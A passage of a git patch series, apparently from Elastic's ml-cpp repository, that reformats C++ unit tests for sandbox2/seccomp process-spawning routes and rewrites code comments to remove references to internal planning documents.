ml::controller::CCommandProcessor::TStrVec sandboxedPaths; // empty - ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, responseStream}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + responseStream}; std::string command{startCommand( 14, PROCESS_PATH, {"-c", "echo $# > " + OUT, "argv0name", "extraArg"})}; @@ -457,10 +462,11 @@ BOOST_AUTO_TEST_CASE(testStartDefaultsToLegacyRouteWhenTokenAbsentOnSandboxedPat { ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; - ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, responseStream}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + responseStream}; - std::string command{ - startCommand(16, PROCESS_PATH, {"-c", "cp " + INPUT_FILE1 + " " + OUT})}; + std::string command{startCommand(16, PROCESS_PATH, + {"-c", "cp " + INPUT_FILE1 + " " + OUT})}; BOOST_REQUIRE_EQUAL(true, processor.handleCommand(command)); } @@ -495,17 +501,20 @@ BOOST_AUTO_TEST_CASE(testLegacyReasonProvenanceReachesH4Signal) { std::string dormantLogged{captureLogged([&] { ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; - ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, dormantResponses}; - BOOST_REQUIRE_EQUAL(true, processor.handleCommand(startCommand( - 20, PROCESS_PATH, - {"-c", "cp " + INPUT_FILE1 + " " + OUT}))); + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + dormantResponses}; + BOOST_REQUIRE_EQUAL( + true, processor.handleCommand(startCommand( + 20, PROCESS_PATH, {"-c", "cp " + INPUT_FILE1 + " " + OUT}))); })}; std::this_thread::sleep_for(std::chrono::seconds{1}); std::remove(OUT.c_str()); BOOST_REQUIRE(dormantLogged.find("\"route\":\"legacy\"") != std::string::npos); - BOOST_REQUIRE(dormantLogged.find("\"legacy_reason\":\"dormant_default\"") != std::string::npos); - BOOST_REQUIRE(dormantLogged.find("\"legacy_reason\":\"kill_switch\"") == std::string::npos); + BOOST_REQUIRE(dormantLogged.find("\"legacy_reason\":\"dormant_default\"") != + std::string::npos); + BOOST_REQUIRE(dormantLogged.find("\"legacy_reason\":\"kill_switch\"") == + std::string::npos); // (b) Validated --disableSandbox token -> kill_switch, whatever the // option's state (here explicitly on, so the token is the only reason @@ -517,17 +526,18 @@ BOOST_AUTO_TEST_CASE(testLegacyReasonProvenanceReachesH4Signal) { ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, - killSwitchResponses}; - BOOST_REQUIRE_EQUAL(true, processor.handleCommand(startCommand( - 21, PROCESS_PATH, - {"-c", "cp " + INPUT_FILE1 + " " + OUT, - "--disableSandbox"}))); + killSwitchResponses}; + BOOST_REQUIRE_EQUAL( + true, processor.handleCommand(startCommand( + 21, PROCESS_PATH, + {"-c", "cp " + INPUT_FILE1 + " " + OUT, "--disableSandbox"}))); })}; std::this_thread::sleep_for(std::chrono::seconds{1}); std::remove(OUT.c_str()); BOOST_REQUIRE(killSwitchLogged.find("\"route\":\"legacy\"") != std::string::npos); - BOOST_REQUIRE(killSwitchLogged.find("\"legacy_reason\":\"kill_switch\"") != std::string::npos); + BOOST_REQUIRE(killSwitchLogged.find("\"legacy_reason\":\"kill_switch\"") != + std::string::npos); BOOST_REQUIRE(killSwitchLogged.find("\"legacy_reason\":\"dormant_default\"") == std::string::npos); } @@ -552,10 +562,11 @@ BOOST_AUTO_TEST_CASE(testStartSelectsSandbox2RouteWhenTokenAbsentAndDefaultEnfor ml::controller::CCommandProcessor::TStrVec permittedPaths{PROCESS_PATH}; ml::controller::CCommandProcessor::TStrVec sandboxedPaths{PROCESS_PATH}; - ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, responseStream}; + ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, + responseStream}; - std::string command{ - startCommand(15, PROCESS_PATH, {"-c", "cp " + INPUT_FILE1 + " " + OUT})}; + std::string command{startCommand(15, PROCESS_PATH, + {"-c", "cp " + INPUT_FILE1 + " " + OUT})}; BOOST_REQUIRE_EQUAL(false, processor.handleCommand(command)); } @@ -585,8 +596,8 @@ BOOST_AUTO_TEST_CASE(testNonCanonicalTruthyValuesLeaveDefaultDormant) { ml::controller::CCommandProcessor processor{permittedPaths, sandboxedPaths, responseStream}; - std::string command{ - startCommand(17, PROCESS_PATH, {"-c", "cp " + INPUT_FILE1 + " " + OUT})}; + std::string command{startCommand( + 17, PROCESS_PATH, {"-c", "cp " + INPUT_FILE1 + " " + OUT})}; BOOST_REQUIRE_EQUAL(true, processor.handleCommand(command)); } diff --git a/bin/controller/unittest/CProcessSpawnerRouterTest.cc b/bin/controller/unittest/CProcessSpawnerRouterTest.cc index f9b80ccc00..7385f2edea 100644 --- a/bin/controller/unittest/CProcessSpawnerRouterTest.cc +++ b/bin/controller/unittest/CProcessSpawnerRouterTest.cc @@ -49,8 +49,9 @@ namespace { // forward slash path separators const std::string INPUT_FILE{"testfiles\\slogan1.txt"}; const char* winDir{std::getenv("windir")}; -const std::string PROCESS_PATH{winDir != nullptr ? std::string{winDir} + "\\System32\\cmd" - : std::string{"C:\\Windows\\System32\\cmd"}}; +const std::string PROCESS_PATH{winDir != nullptr + ? std::string{winDir} + "\\System32\\cmd" + : std::string{"C:\\Windows\\System32\\cmd"}}; std::string copyArgsScript(const std::string& outputFile) { return "copy " + INPUT_FILE + " " + outputFile; } @@ -70,8 +71,8 @@ const std::string SLOGAN1{"Elastic is great!"}; //! was dispatched to a working spawner backend, not just that spawn() //! returned true. void assertDispatchCopiesFile(ml::controller::CProcessSpawnerRouter& router, - ml::controller::CProcessSpawnerRouter::ERoute route, - const std::string& outputFile) { + ml::controller::CProcessSpawnerRouter::ERoute route, + const std::string& outputFile) { std::remove(outputFile.c_str()); ml::controller::CProcessSpawnerRouter::TStrVec args{SHELL_FLAG, copyArgsScript(outputFile)}; @@ -129,7 +130,8 @@ std::string captureLogged(FN&& fn) { //! destruction. class CScopedChildIpcRoot { public: - explicit CScopedChildIpcRoot(const std::string& childId) : m_ChildId{childId} { + explicit CScopedChildIpcRoot(const std::string& childId) + : m_ChildId{childId} { const char* previous{std::getenv("TMPDIR")}; m_HadPreviousTmpDir = previous != nullptr; if (m_HadPreviousTmpDir) { @@ -140,14 +142,14 @@ class CScopedChildIpcRoot { // canonical - validateChildIpcLaunchSpec() compares the literal and // canonical parents and rejects any difference, and on macOS the // system temporary directories are reached through symlinks. - m_TrustedTmpDir = - (boost::filesystem::canonical(boost::filesystem::current_path()) / - ("router_h4_tmp_" + childId)) - .string(); + m_TrustedTmpDir = (boost::filesystem::canonical(boost::filesystem::current_path()) / + ("router_h4_tmp_" + childId)) + .string(); m_ChildIpcRoot = m_TrustedTmpDir + "/ml-child-ipc/" + childId; boost::filesystem::create_directories(m_ChildIpcRoot); - BOOST_REQUIRE_EQUAL(0, ml::core::CSetEnv::setEnv("TMPDIR", m_TrustedTmpDir.c_str(), 1)); + BOOST_REQUIRE_EQUAL( + 0, ml::core::CSetEnv::setEnv("TMPDIR", m_TrustedTmpDir.c_str(), 1)); } ~CScopedChildIpcRoot() { @@ -162,7 +164,9 @@ class CScopedChildIpcRoot { //! An --input= argument inside this child's IPC root, i.e. one //! validateChildIpcLaunchSpec() accepts and derives m_ChildId from. - std::string inputArg() const { return "--input=" + m_ChildIpcRoot + "/input"; } + std::string inputArg() const { + return "--input=" + m_ChildIpcRoot + "/input"; + } CScopedChildIpcRoot(const CScopedChildIpcRoot&) = delete; CScopedChildIpcRoot& operator=(const CScopedChildIpcRoot&) = delete; @@ -186,7 +190,7 @@ BOOST_AUTO_TEST_CASE(testSandbox2RouteDispatchesLegacyForUnsandboxedPath) { ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; assertDispatchCopiesFile(router, ml::controller::CProcessSpawnerRouter::ERoute::E_Sandbox2, - "router_test_never_sandboxed.txt"); + "router_test_never_sandboxed.txt"); } BOOST_AUTO_TEST_CASE(testLegacyRouteDispatchesLegacyForSandboxedPath) { @@ -199,7 +203,7 @@ BOOST_AUTO_TEST_CASE(testLegacyRouteDispatchesLegacyForSandboxedPath) { ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; assertDispatchCopiesFile(router, ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, - "router_test_legacy_route.txt"); + "router_test_legacy_route.txt"); } BOOST_AUTO_TEST_CASE(testTerminateAndHasChildCoverBothBackends) { @@ -223,11 +227,11 @@ BOOST_AUTO_TEST_CASE(testSandbox2RouteFailsClosedWithoutSandbox2Support) { ml::controller::CProcessSpawnerRouter::TStrVec sandboxedPaths{PROCESS_PATH}; ml::controller::CProcessSpawnerRouter router{permittedPaths, sandboxedPaths}; - ml::controller::CProcessSpawnerRouter::TStrVec args{SHELL_FLAG, copyArgsScript("router_test_should_not_run.txt")}; + ml::controller::CProcessSpawnerRouter::TStrVec args{ + SHELL_FLAG, copyArgsScript("router_test_should_not_run.txt")}; ml::core::CProcess::TPid childPid{0}; - BOOST_REQUIRE_EQUAL( - false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Sandbox2, - PROCESS_PATH, args, childPid)); + BOOST_REQUIRE_EQUAL(false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Sandbox2, + PROCESS_PATH, args, childPid)); // No child was ever registered with either backend for this attempt. BOOST_REQUIRE_EQUAL(false, router.hasChild(childPid)); @@ -254,7 +258,7 @@ BOOST_AUTO_TEST_CASE(testH4SignalFailClosedWithoutSandbox2Support) { std::string logged{captureLogged([&] { BOOST_REQUIRE_EQUAL( false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Sandbox2, - PROCESS_PATH, args, childPid)); + PROCESS_PATH, args, childPid)); })}; BOOST_REQUIRE(logged.find("\"event\":\"sandbox2_launch\"") != std::string::npos); @@ -289,7 +293,7 @@ BOOST_AUTO_TEST_CASE(testH4SignalDeploymentIdPopulatedOnFailClosed) { std::string logged{captureLogged([&] { BOOST_REQUIRE_EQUAL( false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Sandbox2, - PROCESS_PATH, args, childPid)); + PROCESS_PATH, args, childPid)); })}; BOOST_REQUIRE(logged.find("\"mode\":\"fail_closed\"") != std::string::npos); @@ -317,7 +321,7 @@ BOOST_AUTO_TEST_CASE(testH4SignalDeploymentIdPopulatedOnDegradedRoute) { std::string logged{captureLogged([&] { BOOST_REQUIRE_EQUAL( false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, - PROCESS_PATH, args, childPid)); + PROCESS_PATH, args, childPid)); })}; BOOST_REQUIRE(logged.find("\"mode\":\"degraded\"") != std::string::npos); @@ -342,7 +346,7 @@ BOOST_AUTO_TEST_CASE(testH4SignalEscapesControlCharactersInDeploymentId) { std::string logged{captureLogged([&] { BOOST_REQUIRE_EQUAL( false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, - PROCESS_PATH, args, childPid)); + PROCESS_PATH, args, childPid)); })}; BOOST_REQUIRE(logged.find("\"deployment_id\":\"deploy\\nid\\tx\"") != std::string::npos); @@ -373,9 +377,8 @@ BOOST_AUTO_TEST_CASE(testNoH4SignalForUnsandboxedProcessPath) { SHELL_FLAG, copyArgsScript(outputFile), "--modelid=deploy-not-sandboxed"}; ml::core::CProcess::TPid childPid{0}; std::string logged{captureLogged([&] { - BOOST_REQUIRE_EQUAL( - true, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Sandbox2, - PROCESS_PATH, args, childPid)); + BOOST_REQUIRE_EQUAL(true, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Sandbox2, + PROCESS_PATH, args, childPid)); })}; std::this_thread::sleep_for(std::chrono::seconds{1}); std::remove(outputFile.c_str()); @@ -399,9 +402,8 @@ BOOST_AUTO_TEST_CASE(testH4SignalDegradedOnLegacyRouteSuccess) { SHELL_FLAG, copyArgsScript(outputFile), "--modelid=deploy-degraded-ok"}; ml::core::CProcess::TPid childPid{0}; std::string logged{captureLogged([&] { - BOOST_REQUIRE_EQUAL( - true, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, - PROCESS_PATH, args, childPid)); + BOOST_REQUIRE_EQUAL(true, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, + PROCESS_PATH, args, childPid)); })}; // The copy runs in the detached child asynchronously - give it the same // grace period assertDispatchCopiesFile above uses before cleaning up, @@ -434,7 +436,7 @@ BOOST_AUTO_TEST_CASE(testH4SignalDegradedOnLegacyRouteFailure) { std::string logged{captureLogged([&] { BOOST_REQUIRE_EQUAL( false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, - PROCESS_PATH, args, childPid)); + PROCESS_PATH, args, childPid)); })}; BOOST_REQUIRE(logged.find("\"event\":\"sandbox2_launch\"") != std::string::npos); @@ -457,8 +459,8 @@ BOOST_AUTO_TEST_CASE(testH4SignalLegacyReasonKillSwitch) { std::string logged{captureLogged([&] { BOOST_REQUIRE_EQUAL( false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, - PROCESS_PATH, args, childPid, - ml::controller::CProcessSpawnerRouter::ELegacyReason::E_KillSwitch)); + PROCESS_PATH, args, childPid, + ml::controller::CProcessSpawnerRouter::ELegacyReason::E_KillSwitch)); })}; BOOST_REQUIRE(logged.find("\"route\":\"legacy\"") != std::string::npos); @@ -478,10 +480,9 @@ BOOST_AUTO_TEST_CASE(testH4SignalLegacyReasonDormantDefault) { ml::core::CProcess::TPid childPid{0}; std::string logged{captureLogged([&] { BOOST_REQUIRE_EQUAL( - false, - router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, PROCESS_PATH, - args, childPid, - ml::controller::CProcessSpawnerRouter::ELegacyReason::E_DormantDefault)); + false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, + PROCESS_PATH, args, childPid, + ml::controller::CProcessSpawnerRouter::ELegacyReason::E_DormantDefault)); })}; BOOST_REQUIRE(logged.find("\"route\":\"legacy\"") != std::string::npos); @@ -505,10 +506,9 @@ BOOST_AUTO_TEST_CASE(testH4SignalIncludesSandboxCompiledInField) { ml::core::CProcess::TPid childPid{0}; std::string logged{captureLogged([&] { BOOST_REQUIRE_EQUAL( - false, - router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, PROCESS_PATH, - args, childPid, - ml::controller::CProcessSpawnerRouter::ELegacyReason::E_DormantDefault)); + false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Legacy, + PROCESS_PATH, args, childPid, + ml::controller::CProcessSpawnerRouter::ELegacyReason::E_DormantDefault)); })}; #ifdef SANDBOX2_AVAILABLE @@ -534,7 +534,7 @@ BOOST_AUTO_TEST_CASE(testH4SignalNoLegacyReasonOnSandbox2Route) { std::string logged{captureLogged([&] { BOOST_REQUIRE_EQUAL( false, router.spawn(ml::controller::CProcessSpawnerRouter::ERoute::E_Sandbox2, - PROCESS_PATH, args, childPid)); + PROCESS_PATH, args, childPid)); })}; BOOST_REQUIRE(logged.find("\"route\":\"sandbox2\"") != std::string::npos); diff --git a/bin/pytorch_inference/Main.cc b/bin/pytorch_inference/Main.cc index d313e11637..3ddbcfdc9c 100644 --- a/bin/pytorch_inference/Main.cc +++ b/bin/pytorch_inference/Main.cc @@ -342,7 +342,8 @@ int main(int argc, char** argv) { LOG_DEBUG(<< "ML_SANDBOXED=1: skipping in-process system call filter " "installation; the Sandbox2 executor policy applies"); } else if (seccompResult.s_Action == ml::seccomp::EDegradedModeAction::E_TerminateBeforeIo) { - LOG_FATAL(<< "Seccomp installation " << ml::seccomp::describe(seccompResult.s_Outcome) + LOG_FATAL(<< "Seccomp installation " + << ml::seccomp::describe(seccompResult.s_Outcome) << "; terminating before untrusted model processing"); return EXIT_FAILURE; } diff --git a/lib/core/CDetachedProcessSpawner_Windows.cc b/lib/core/CDetachedProcessSpawner_Windows.cc index ef5d420c4a..2c2a81ef14 100644 --- a/lib/core/CDetachedProcessSpawner_Windows.cc +++ b/lib/core/CDetachedProcessSpawner_Windows.cc @@ -273,8 +273,7 @@ bool CDetachedProcessSpawner::spawn(const std::string& processPath, // username) to '?' for every Windows child - a regression the addition // of this stripping logic must not introduce as a side effect. LPWSTR parentEnvironmentBlock{::GetEnvironmentStringsW()}; - std::wstring childEnvironmentBlock{ - detail::buildChildEnvironmentBlock(parentEnvironmentBlock)}; + std::wstring childEnvironmentBlock{detail::buildChildEnvironmentBlock(parentEnvironmentBlock)}; if (parentEnvironmentBlock != 0) { ::FreeEnvironmentStringsW(parentEnvironmentBlock); } @@ -286,8 +285,8 @@ bool CDetachedProcessSpawner::spawn(const std::string& processPath, CScopedLock lock(m_TrackerThread->mutex()); if (CreateProcessW( - wideProcessPath.c_str(), const_cast(wideCmdLine.c_str()), 0, - 0, FALSE, + wideProcessPath.c_str(), + const_cast(wideCmdLine.c_str()), 0, 0, FALSE, // The CREATE_NO_WINDOW flag is used instead of // DETACHED_PROCESS, as Windows does not create the file handles // that underlie stdin, stdout and stderr if a process has no @@ -303,8 +302,8 @@ bool CDetachedProcessSpawner::spawn(const std::string& processPath, // without this flag, is an ANSI block, which would silently // misinterpret it). CREATE_NEW_PROCESS_GROUP | CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT, - const_cast(childEnvironmentBlock.data()), 0, &startupInfo, - &processInformation) == FALSE) { + const_cast(childEnvironmentBlock.data()), 0, + &startupInfo, &processInformation) == FALSE) { LOG_ERROR(<< "Failed to spawn '" << processPath << "': " << CWindowsError()); return false; } diff --git a/lib/core/unittest/CDetachedProcessSpawnerTest.cc b/lib/core/unittest/CDetachedProcessSpawnerTest.cc index 79ea399d6d..4a27865345 100644 --- a/lib/core/unittest/CDetachedProcessSpawnerTest.cc +++ b/lib/core/unittest/CDetachedProcessSpawnerTest.cc @@ -66,7 +66,8 @@ const std::string PROCESS_ARGS2[] = {"10"}; //! CScopedChildIpcRoot. class CScopedEnvVar { public: - CScopedEnvVar(std::string name, const char* value) : m_Name(std::move(name)) { + CScopedEnvVar(std::string name, const char* value) + : m_Name(std::move(name)) { const char* previous{std::getenv(m_Name.c_str())}; m_HadPreviousValue = previous != nullptr; if (m_HadPreviousValue) { @@ -196,7 +197,8 @@ BOOST_AUTO_TEST_CASE(testMlSandboxedStrippedFromChildEnvironment) { auto childEnv = ml::core::detail::buildChildEnvironment(&parentEnv[0]); BOOST_REQUIRE_EQUAL(std::size_t(4), childEnv.size()); BOOST_REQUIRE_EQUAL(std::string("PATH=/bin"), std::string(childEnv[0])); - BOOST_REQUIRE_EQUAL(std::string("ML_SANDBOXED_KEEP_ME=1"), std::string(childEnv[1])); + BOOST_REQUIRE_EQUAL(std::string("ML_SANDBOXED_KEEP_ME=1"), + std::string(childEnv[1])); BOOST_REQUIRE_EQUAL(std::string("TMPDIR=/tmp"), std::string(childEnv[2])); BOOST_REQUIRE_EQUAL(static_cast(nullptr), childEnv[3]); } diff --git a/lib/sandbox/unittest/CSandboxUserNamespaceProbeTest_Linux.cc b/lib/sandbox/unittest/CSandboxUserNamespaceProbeTest_Linux.cc index ebb94e7e93..b69bdcf4b9 100644 --- a/lib/sandbox/unittest/CSandboxUserNamespaceProbeTest_Linux.cc +++ b/lib/sandbox/unittest/CSandboxUserNamespaceProbeTest_Linux.cc @@ -147,11 +147,10 @@ BOOST_AUTO_TEST_CASE(testMatchesRequiredMode) { // actionable message, but do NOT fail the build - acquiring a // capability is not a regression. if (probeSucceeded) { - BOOST_TEST_MESSAGE( - "userns capability is now available on this host (ml_sandbox_userns_probe " - "succeeded under ML_SANDBOX2_REQUIRE=fail_closed); consider re-pinning " - "enforced coverage here per the MG6 accepted-risk's revisit trigger " - "(no userns-capable x86_64 CI runner exists yet)"); + BOOST_TEST_MESSAGE("userns capability is now available on this host (ml_sandbox_userns_probe " + "succeeded under ML_SANDBOX2_REQUIRE=fail_closed); consider re-pinning " + "enforced coverage here per the MG6 accepted-risk's revisit trigger " + "(no userns-capable x86_64 CI runner exists yet)"); } else { BOOST_TEST_MESSAGE("ml_sandbox_userns_probe fail_closed check: userns capability " "genuinely absent, as expected"); diff --git a/lib/sandbox/unittest/payloads/ml_sandbox_userns_probe.cc b/lib/sandbox/unittest/payloads/ml_sandbox_userns_probe.cc index 4be750445c..3e85aff2dd 100644 --- a/lib/sandbox/unittest/payloads/ml_sandbox_userns_probe.cc +++ b/lib/sandbox/unittest/payloads/ml_sandbox_userns_probe.cc @@ -122,8 +122,8 @@ void runNamespaceStages(int pipeWriteFd) { ::close(setgroupsFd); char uidMapBuf[64]; - const int uidMapLen = - std::snprintf(uidMapBuf, sizeof(uidMapBuf), "0 %d 1\n", static_cast(uid)); + const int uidMapLen = std::snprintf(uidMapBuf, sizeof(uidMapBuf), + "0 %d 1\n", static_cast(uid)); int uidMapFd = ::open("/proc/self/uid_map", O_WRONLY); if (uidMapFd < 0 || ::write(uidMapFd, uidMapBuf, uidMapLen) != uidMapLen) { const int savedErrno = errno; @@ -136,8 +136,8 @@ void runNamespaceStages(int pipeWriteFd) { ::close(uidMapFd); char gidMapBuf[64]; - const int gidMapLen = - std::snprintf(gidMapBuf, sizeof(gidMapBuf), "0 %d 1\n", static_cast(gid)); + const int gidMapLen = std::snprintf(gidMapBuf, sizeof(gidMapBuf), + "0 %d 1\n", static_cast(gid)); int gidMapFd = ::open("/proc/self/gid_map", O_WRONLY); if (gidMapFd < 0 || ::write(gidMapFd, gidMapBuf, gidMapLen) != gidMapLen) { const int savedErrno = errno; @@ -179,8 +179,8 @@ int main() { int pipeFds[2]; // Stage 1: probe pipe + fork. if (::pipe(pipeFds) != 0) { - std::printf("ml_sandbox_userns_probe: outcome=failure stage=1 errno=%d detail=%s\n", errno, - std::strerror(errno)); + std::printf("ml_sandbox_userns_probe: outcome=failure stage=1 errno=%d detail=%s\n", + errno, std::strerror(errno)); return EXIT_FAILURE; } diff --git a/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc b/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc index 77fa09477d..5ec6cdc99b 100644 --- a/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc +++ b/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc @@ -275,9 +275,9 @@ BOOST_AUTO_TEST_CASE(testSandbox2LaunchedChildRecognisesOnlyExactlyOne) { } BOOST_AUTO_TEST_CASE(testInProcessFilterSkippedEntirelyForSandbox2LaunchedChild) { - using ml::seccomp::applyInProcessSeccompFilter; using ml::seccomp::EDegradedModeAction; using ml::seccomp::ESystemCallFilterInstallOutcome; + using ml::seccomp::applyInProcessSeccompFilter; // ML_SANDBOXED=1: the installer must never be invoked, no degraded-mode // termination may be derived and no attestation marker may be produced - @@ -307,9 +307,9 @@ BOOST_AUTO_TEST_CASE(testInProcessFilterSkippedEntirelyForSandbox2LaunchedChild) } BOOST_AUTO_TEST_CASE(testInProcessFilterUnchangedOnLegacyRoute) { - using ml::seccomp::applyInProcessSeccompFilter; using ml::seccomp::EDegradedModeAction; using ml::seccomp::ESystemCallFilterInstallOutcome; + using ml::seccomp::applyInProcessSeccompFilter; // ML_SANDBOXED unset/not "1": behaviour is exactly the pre-existing // install + decide + attest sequence, i.e. the Task 3 fault-injection @@ -323,9 +323,8 @@ BOOST_AUTO_TEST_CASE(testInProcessFilterUnchangedOnLegacyRoute) { BOOST_REQUIRE_EQUAL(true, installed.s_Attempted); BOOST_REQUIRE_EQUAL(static_cast(EDegradedModeAction::E_ContinueDespiteFailure), static_cast(installed.s_Action)); - BOOST_REQUIRE_EQUAL( - std::string("{\"ml_sandbox2_route\":\"legacy\",\"event\":\"seccomp_installed\"}"), - installed.s_AttestationMarker); + BOOST_REQUIRE_EQUAL(std::string("{\"ml_sandbox2_route\":\"legacy\",\"event\":\"seccomp_installed\"}"), + installed.s_AttestationMarker); const ESystemCallFilterInstallOutcome failureModes[]{ ESystemCallFilterInstallOutcome::E_MechanismUnavailable, @@ -333,8 +332,8 @@ BOOST_AUTO_TEST_CASE(testInProcessFilterUnchangedOnLegacyRoute) { ESystemCallFilterInstallOutcome::E_FilterInstallFailed}; for (const auto outcome : failureModes) { - const auto failed = - applyInProcessSeccompFilter(false, true, [outcome] { return outcome; }); + const auto failed = applyInProcessSeccompFilter( + false, true, [outcome] { return outcome; }); BOOST_REQUIRE_EQUAL(true, failed.s_Attempted); BOOST_REQUIRE_EQUAL(static_cast(EDegradedModeAction::E_TerminateBeforeIo), static_cast(failed.s_Action)); From d52865b9ba4189f875d91b271611ef723d48fd2b Mon Sep 17 00:00:00 2001 From: Valeriy Khakhutskyy <1292899+valeriy42@users.noreply.github.com> Date: Thu, 10 Sep 2026 10:24:29 +0200 Subject: [PATCH 24/36] [ML] Remove workspace-internal doc citations from comments Comments and docs referenced private planning-doc artifacts (design.md, evidence.md, MG/SG/V/H finding IDs, PR A-F letter labels, Task N numbering) from the elastic-workspace harness that orchestrates ml-cpp development. These are meaningless to anyone with only ml-cpp checked out. Rewrites each citation as self-contained prose describing the actual constraint, invariant, or fact, or points at the real thing being described (e.g. the sandbox2_launch signal by name) instead of the workspace doc section that discusses it. No logic changes; the V14 heading in docs/sandbox2_production_failure_modes.md is retitled to describe what it actually is. --- .buildkite/scripts/steps/run_tests.sh | 9 ++-- bin/controller/CCommandProcessor.cc | 17 +++---- bin/controller/CProcessSpawnerRouter.cc | 44 ++++++++--------- bin/controller/CProcessSpawnerRouter.h | 17 +++---- .../unittest/CCommandProcessorTest.cc | 8 ++-- .../unittest/CProcessSpawnerRouterTest.cc | 13 ++--- bin/pytorch_inference/Main.cc | 17 ++++--- docs/sandbox2_production_failure_modes.md | 47 ++++++++++--------- include/seccomp/CSystemCallFilter.h | 8 ++-- lib/sandbox/CMakeLists.txt | 11 ++--- lib/sandbox/unittest/CMakeLists.txt | 10 ++-- .../CSandboxUserNamespaceProbeTest_Linux.cc | 34 +++++++------- .../payloads/ml_sandbox_userns_probe.cc | 14 +++--- .../unittest/CSeccompFilterBuilderTest.cc | 5 +- test/test_sandbox2_attack_defense.py | 40 ++++++++-------- 15 files changed, 151 insertions(+), 143 deletions(-) diff --git a/.buildkite/scripts/steps/run_tests.sh b/.buildkite/scripts/steps/run_tests.sh index e4f8c57135..a518bd96d5 100755 --- a/.buildkite/scripts/steps/run_tests.sh +++ b/.buildkite/scripts/steps/run_tests.sh @@ -51,8 +51,8 @@ if [[ "$HARDWARE_ARCH" = aarch64 && -z "${CPP_CROSS_COMPILE:-}" && "$(uname)" = # --- Linux aarch64: run tests inside Docker container from base image --- # aarch64 Buildkite k8s pods are the only runners here with userns # capability (mount("proc", ...) succeeds), so this is the only branch - # that can exercise ML_SANDBOX2_REQUIRE=enforced - and it runs *only* - # that mode (H3: "aarch64 enforced (pinned); x86_64 fail-closed"). A + # that can exercise ML_SANDBOX2_REQUIRE=enforced - and it runs only that + # mode: aarch64 is pinned to enforced, x86_64 stays fail-closed. A # second fail_closed pass on this same host/kernel would assert the # absence of the very userns capability the enforced pass just proved # present, so exactly one of the two could ever pass. @@ -98,8 +98,9 @@ if [[ "$HARDWARE_ARCH" = aarch64 && -z "${CPP_CROSS_COMPILE:-}" && "$(uname)" = else # --- Linux x86_64 / macOS: run tests directly --- # x86_64 Buildkite k8s pods get EPERM on mount("proc", ...) - there is no - # userns-capable x86_64 runner (accepted risk, see evidence.md MG6). Only - # fail_closed runs here; do not add an enforced pass to this branch. This + # userns-capable x86_64 CI runner today, so this is an accepted gap in + # enforced-mode coverage on that architecture. Only fail_closed runs + # here; do not add an enforced pass to this branch. This # also covers aarch64 cross-compile builds, which fall through to this # same branch via the "-z ${CPP_CROSS_COMPILE:-}" condition above, so # they get fail_closed coverage too rather than being skipped entirely. diff --git a/bin/controller/CCommandProcessor.cc b/bin/controller/CCommandProcessor.cc index 333864534e..15af728840 100644 --- a/bin/controller/CCommandProcessor.cc +++ b/bin/controller/CCommandProcessor.cc @@ -22,8 +22,9 @@ namespace { const std::string TAB(1, '\t'); const std::string EMPTY_STRING; -//! The only controller-control token design.md names today. Any other -//! unrecognised "--" prefixed token is passed through to the spawned +//! The only controller-control token the command wire format defines +//! today. Any other unrecognised "--" prefixed token is passed through to +//! the spawned //! process unchanged - this task does not invent a general token schema. const std::string DISABLE_SANDBOX_TOKEN{"--disableSandbox"}; @@ -142,13 +143,13 @@ bool CCommandProcessor::handleStart(std::uint32_t id, TStrVec tokens) { } // One shared predicate with the router (which uses the same call to gate - // dispatch and H4-signal emission), never a second std::find over a + // dispatch and sandbox2_launch-signal emission), never a second std::find over a // second copy of the list. const bool isConfiguredSandboxedPath{m_Spawner.isSandboxedProcessPath(processPath)}; CProcessSpawnerRouter::ERoute route{CProcessSpawnerRouter::ERoute::E_Sandbox2}; // Provenance of a legacy route, recorded at the one place it is known so - // the router's H4 signal can report it as "legacy_reason". Stays + // the router's sandbox2_launch signal can report it as "legacy_reason". Stays // E_NotLegacy for every E_Sandbox2 route, where the field is omitted. CProcessSpawnerRouter::ELegacyReason legacyReason{ CProcessSpawnerRouter::ELegacyReason::E_NotLegacy}; @@ -162,7 +163,7 @@ bool CCommandProcessor::handleStart(std::uint32_t id, TStrVec tokens) { // no-token case stays on the legacy route - byte-for-byte the // pre-typed-routing behaviour 